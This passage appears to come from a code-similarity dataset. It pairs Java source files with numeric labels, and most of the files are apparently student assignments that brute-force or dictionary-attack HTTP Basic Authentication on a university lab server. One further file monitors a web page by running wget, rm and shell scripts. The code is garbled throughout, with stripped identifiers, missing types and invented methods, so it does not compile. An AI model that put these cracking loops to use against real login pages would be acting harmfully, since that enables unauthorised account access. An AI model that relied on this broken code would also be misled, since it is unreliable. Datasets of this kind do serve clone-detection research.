System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
084.java | 201.java | 0 |
import java.Thread;
import java.io.*;
import java.net.*;
public class BruteForce extends Thread {
final char[] CHARACTERS = {'A','a','E','e','I','i','O','o','U','u','R','r','N','n','S','s','T','t','L','l','B','b','C','c','D','d','F','f','G','g','H','h','J','j','K','k','M','m','P','p','V','v','W','w','X','x','Z','z','Q','q','Y','y'};
final static int SUCCESS=1,
FAILED=0,
UNKNOWN=-1;
private static String host,
path,
user;
private Socket target;
private InputStream input;
private OutputStream output;
private byte[] data;
private int threads,
threadno,
response;
public static boolean solved = false;
BruteForce parent;
public BruteForce(String host, String path, String user, int threads, int threadno, BruteForce parent)
{
super();
this.parent = parent;
this.host = host;
this.path = path;
this.user = user;
this.threads = threads;
this.threadno = threadno;
}
public void run()
{
response = FAILED;
int x = 0;
starttime = System.currentTimeMillis();
for(int i=0; i<CHARACTERS.length && !parent.solved; i++)
{
for(int j=0; j<CHARACTERS.length && !parent.solved; j++)
{
for(int k=0; k<CHARACTERS.length && !parent.solved; k++)
{
if((x % threads) == threadno)
{
response = tryLogin(CHARACTERS[i] + "" + CHARACTERS[j] + CHARACTERS[k]);
if(response == SUCCESS)
{
System.out.println("SUCCESS! (after " + x + " tries) The password is: "+ CHARACTERS[i] + CHARACTERS[j] + CHARACTERS[k]);
parent.solved = true;
}
if(response == UNKNOWN) System.out.println("Unexpected response (Password: "+ CHARACTERS[i] + CHARACTERS[j] + CHARACTERS[k]+")");
}
x++;
}
}
}
if(response == SUCCESS)
{
System.out.println("Used time: " + ((System.currentTimeMillis() - starttime) / 1000.0) + "sec.");
System.out.println("Thread . " + threadno + " was the one!");
}
}
public static void main (String[] args)
{
BruteForce parent;
BruteForce[] attackslaves = new BruteForce[10];
if(args.length == 3)
{
host = args[0];
path = args[1];
user = args[2];
}
else
{
System.out.println("Usage: BruteForce <host> <path> <user>");
System.out.println(" arguments specified, using standard values.");
host = "sec-crack.cs.rmit.edu.";
path = "/SEC/2/index.php";
user = "";
}
System.out.println("Host: " + host + "\nPath: " + path + "\nUser: " + user);
System.out.println("Using " + attackslaves.length + " happy threads...");
parent = new BruteForce(host, path, user, 0, 0, null);
for(int i=0; i<attackslaves.length; i++)
{
attackslaves[i] = new BruteForce(host, path, user, attackslaves.length, i, parent);
}
for(int i=0; i<attackslaves.length; i++)
{
attackslaves[i].print();
}
}
private int tryLogin(String password)
{
int success = -1;
try
{
data = new byte[12];
target = new Socket(host, 80);
input = target.getInputStream();
output = target.getOutputStream();
String base = new pw.misc.BASE64Encoder().encode(new String(user + ":" + password).getBytes());
output.write(new String("GET " + path + " HTTP/1.0\r\n").getBytes());
output.write(new String("Authorization: " + base + "\r\n\r\n").getBytes());
input.print(data);
if(new String(data).endsWith("401")) success=0;
if(new String(data).endsWith("200")) success=1;
}
catch(Exception e)
{
System.out.println(e.getClass().getName() + ": " + e.getMessage());
}
return success;
}
} |
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
115.java | 201.java | 0 |
import java.net.*;
import java.util.*;
import java.io.*;
public class PasswordTest {
private String strURL;
private String strUsername;
private String strPassword;
public PasswordTest(String url, String username, String password) {
strURL = url;
strUsername = username;
strPassword = password;
}
boolean func() {
boolean result = false;
Authenticator.setDefault (new MyAuthenticator ());
try {
URL url = new URL(strURL);
HttpURLConnection urlConn = (HttpURLConnection)url.openConnection();
urlConn.connect();
if(urlConn.getResponseMessage().equalsIgnoreCase("OK")) {
result = true;
}
}
catch (IOException e) {}
return result;
}
class MyAuthenticator extends Authenticator {
protected PasswordAuthentication getPasswordAuthentication() {
String username = strUsername;
String password = strPassword;
return new PasswordAuthentication(username, password.toCharArray());
}
}
}
|
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
233.java | 201.java | 0 | import java.util.*;
import java.io.*;
import java.*;
public class Dogs5
{
public static void main(String [] args) throws Exception
{
executes("rm index.*");
executes("wget http://www.cs.rmit.edu./students");
while (true)
{
String addr= "wget http://www.cs.rmit.edu./students";
executes(addr);
String hash1 = md5sum("index.html");
String hash2 = md5sum("index.html.1");
System.out.println(hash1 +"|"+ hash2);
BufferedReader buf = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt"));
String line=" " ;
String line1=" " ;
String line2=" ";
String line3=" ";
String[] cad = new String[10];
executes("./.sh");
int i=0;
while ((line = buf.readLine()) != null)
{
line1="http://www.cs.rmit.edu./students/images"+line;
if (i==1)
line2="http://www.cs.rmit.edu./students/images"+line;
if (i==2)
line3="http://www.cs.rmit.edu./students/images"+line;
i++;
}
System.out.println(line1+" "+line2+" "+line3);
executes("wget "+line1);
executes("wget "+line2);
executes("wget "+line3);
String hash3 = md5sum("index.html.2");
String hash4 = md5sum("index.html.3");
String hash5 = md5sum("index.html.4");
BufferedReader buf2 = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt"));
String linee=" " ;
String linee1=" " ;
String linee2=" ";
String linee3=" ";
executes("./ip1.sh");
int j=0;
while ((linee = buf2.readLine()) != null)
{
linee1="http://www.cs.rmit.edu./students/images"+linee;
if (j==1)
linee2="http://www.cs.rmit.edu./students/images"+linee;
if (j==2)
linee3="http://www.cs.rmit.edu./students/images"+linee;
j++;
}
System.out.println(line1+" "+line2+" "+line3);
executes("wget "+linee1);
executes("wget "+linee2);
executes("wget "+linee3);
String hash6 = md5sum("index.html.5");
String hash7 = md5sum("index.html.6");
String hash8 = md5sum("index.html.7");
boolean pict=false;
if (hash3.equals(hash6))
pict=true;
boolean pict2=false;
if (hash3.equals(hash6))
pict2=true;
boolean pict3=false;
if (hash3.equals(hash6))
pict3=true;
if (hash1.equals(hash2))
{
executes("./difference.sh");
executes("./mail.sh");
}
else
{
if (pict || pict2 || pict3)
{
executes(".~/Assign2/difference.sh");
executes(".~/Assign2/mail2.sh");
}
executes(".~/Assign2/difference.sh");
executes(".~/Assign2/mail.sh");
executes("./reorder.sh");
executes("rm index.html");
executes("cp index.html.1 index.html");
executes("rm index.html.1");
executes("sleep 5");
}
}
}
public static void executes(String comm) throws Exception
{
Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash","-c", comm });
BufferedReader bf = new BufferedReader(new InputStreamReader(p.getErrorStream()));
String cad;
while(( cad = bf.readLine()) != null)
{
System.out.println();
}
p.waitFor();
}
public static String md5sum(String file) throws Exception
{
String cad;
String hash= " ";
Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash",
"-c", "md5sum "+file });
BufferedReader bf = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((bf = cad.readLine()) != null)
{
StringTokenizer word=new StringTokenizer();
hash=word.nextToken();
System.out.println(hash);
}
return hash;
}
}
|
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
086.java | 201.java | 0 | import java.net.*;
import java.io.*;
import java.*;
public class BruteForce {
URLConnection conn = null;
private static boolean status = false;
public static void main (String args[]){
BruteForce a = new BruteForce();
String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",
"",
""};
int attempts = 0;
exit:
for (int i=0;i<pwdArray.length;i++) {
for (int j=0;j<pwdArray.length;j++) {
for (int k=0;k<pwdArray.length;k++) {
if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;
if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;
inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];
attempts++;
a.doit(inp);
if (status) {
System.out.println("Crrect password is: " + inp[2]);
System.out.println("Number of attempts = " + attempts);
break exit;
}
inp[2] = "";
}
}
}
}
public void doit(String args[]) {
try {
BufferedReader in = new BufferedReader(
new InputStreamReader
(connectURL(new URL(args[0]), args[1], args[2])));
String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
status = true;
}
}
catch (IOException e) {
}
}
public InputStream connectURL (URL url, String uname, String pword)
throws IOException {
conn = url.openConnection();
conn.setRequestProperty ("Authorization",
userNamePasswordBase64(uname,pword));
conn.connect ();
return conn.getInputStream();
}
public String userNamePasswordBase64(String username, String password) {
return " " + base64Encode (username + ":" + password);
}
private final static char pwdArray [] = {
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z', ' '
};
private final static char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'
};
private static String base64Encode (String string) {
String encodedString = "";
byte bytes [] = string.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += "=";
break;
case 2:
encodedString += "==";
break;
}
}
return encodedString;
}
}
|
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
153.java | 201.java | 0 | import java.io.*;
import java.net.*;
public class BruteForce {
public static void main(String[] args) {
BruteForce brute=new BruteForce();
brute.start();
}
public void start() {
char passwd[]= new char[3];
String password;
String username="";
String auth_data;
String server_res_code;
String required_server_res_code="200";
int cntr=0;
try {
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
URLConnection conn=null;
for (int i=65;i<=122;i++) {
if(i==91) { i=i+6; }
passwd[0]= (char) i;
for (int j=65;j<=122;j++) {
if(j==91) { j=j+6; }
passwd[1]=(char) j;
for (int k=65;k<=122;k++) {
if(k==91) { k=k+6; }
passwd[2]=(char) k;
password=new String(passwd);
password=password.trim();
auth_data=null;
auth_data=username + ":" + password;
auth_data=auth_data.trim();
auth_data=getBasicAuthData(auth_data);
auth_data=auth_data.trim();
conn=url.openConnection();
conn.setDoInput (true);
conn.setDoOutput(true);
conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1");
conn.setRequestProperty ("Authorization", auth_data);
server_res_code=conn.getHeaderField(0);
server_res_code=server_res_code.substring(9,12);
server_res_code.trim();
cntr++;
System.out.println(cntr + " . " + "PASSWORD SEND : " + password + " SERVER RESPONSE : " + server_res_code);
if( server_res_code.compareTo(required_server_res_code)==0 )
{System.out.println("PASSWORD IS : " + password + " SERVER RESPONSE : " + server_res_code );
i=j=k=123;}
}
}
}
}
catch (Exception e) {
System.err.print(e);
}
}
public String getBasicAuthData (String getauthdata) {
char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' } ;
String encodedString = "";
byte bytes [] = getauthdata.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += "=";
break;
case 2:
encodedString += "==";
break;
}
}
return " " + encodedString;
}
} |
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
150.java | 201.java | 0 |
import java.net.*;
import java.io.*;
import java.util.Date;
public class Dictionary{
private static String password=" ";
public static void main(String[] args) {
String Result="";
if (args.length<1)
{
System.out.println("Correct Format Filename username e.g<>");
System.exit(1);
}
Dictionary dicton1 = new Dictionary();
Result=dicton1.Dict("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]);
System.out.println("Cracked Password for The User "+args[0]+" The Password is.."+Result);
}
private String Dict(String urlString,String username)
{
int cnt=0;
FileInputStream stream=null;
DataInputStream word=null;
try{
stream = new FileInputStream ("/usr/share/lib/dict/words");
word =new DataInputStream(stream);
t0 = System.currentTimeMillis();
while (word.available() !=0)
{
password=word.readLine();
if (password.length()!=3)
{
continue;
}
System.out.print("crackin...:");
System.out.print("\b\b\b\b\b\b\b\b\b\b\b" );
URL url = new URL (urlString);
String userPassword=username+":"+password;
String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
URLConnection conc = url.openConnection();
conc.setRequestProperty ("Authorization", " " + encoding);
conc.connect();
cnt++;
if (conc.getHeaderField(0).trim().equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("The Number Of Attempts : "+cnt);
t1 = System.currentTimeMillis();
net=t1-t0;
System.out.println("Total Time in secs..."+net/1000);
return password;
}
}
}
catch (Exception e )
{
e.printStackTrace();
}
try
{
word.close();
stream.close();
}
catch (IOException e)
{
System.out.println("Error in closing input file:\n" + e.toString());
}
return "Password could not found";
}
} |
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
fromServer.recieve();
}catch( IOException e)
{
System.out.println("'t open stream");
}
try
{
s.connect();
}catch( IOException e)
{
System.out.println("'t connection");
System.exit(0);
}
}
public getTime()
{
return myTime;
}
}
|
194.java | 201.java | 0 |
import java.io.*;
import java.util.*;
class BruteForce{
public static void main(String args[]){
String pass,s;
char a,b,c;
int z=0;
int attempt=0;
Process p;
char password[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q',
'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h',
'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};
z = System.currentTimeMillis();
int at=0;
for(int i=0;i<password.length;i++){
for(int j=0;j<password.length;j++){
for(int k=0;k<password.length;k++){
pass=String.valueOf(password[i])+String.valueOf(password[j])+String.valueOf(password[k]);
try {
System.out.println("Trying crack using: "+pass);
at++;
p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php");
try{
p.waitFor();
}
catch(Exception q){}
z = p.exitValue();
if(z==0)
{
finish = System.currentTimeMillis();
float time = finish - t;
System.out.println("PASSWORD CRACKED:"+ pass + " in " + at + " attempts " );
System.out.println("PASSWORD CRACKED:"+ pass + " in " + time + " milliseconds " );
System.exit(0);
}
}
catch (IOException e) {
System.out.println("Exception happened");
e.printStackTrace();
System.exit(-1);
}
}
}
}
}
}
|
import java.net.*;
import java.io.*;
import java.Ostermiller.util.*;
import java.util.*;
public class MyClient1 implements Runnable
{
private String hostname;
private int port;
private String filename;
private Socket s;
private int n;
private InputStream sin;
private OutputStream sout;
private int dif;
private String myPassword;
private int status;
private int myTime;
private Dictionary myMaster;
public MyClient1(Dictionary dic, int num, int myPort, String password)
{
hostname = new String("sec-crack.cs.rmit.edu.");
port = myPort;
status = 0;
myTime = 0;
myPassword = password;
filename = new String("/SEC/2/");
myMaster = 0;
n = num;
dif = 0;
}
public getDif()
{
return dif;
}
public int getStatus()
{
return status;
}
public void run()
{
String inputLine;
String[] tokens = new String[5];
int i;
myTime = 0;
finish = 0;
start = System.currentTimeMillis();
try
{
s = new Socket( hostname, port);
}catch( UnknownHostException e)
{
System.out.println("'t find host");
}catch( IOException e)
{
System.out.println("Error connecting host "+n);
return;
}
while(s.isConnected() == false)
continue;
finish = System.currentTimeMillis();
dif = finish - start;
try
{
sin = s.getInputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
try
{
sout = s.getOutputStream();
}catch( IOException e)
{
System.out.println("'t open stream");
}
PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n");
toServer.flush();
try
{
inputLine = fromServer.readLine();
}catch( IOException e)
{
System.out.println("'t open stream");
inputLine = null;
}
java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " ");
i = 0;
while(bf.hasMoreTokens())
{
tokens[i] =bf .nextToken();
i++;
}
status = Integer.parseInt( tokens[1]);
myTime = System.currentTimeMillis();
if( status == 200)
{
System.out.println("Ok "+myPassword);
myMaster.retire( this);
}
toServer.send();
try
{
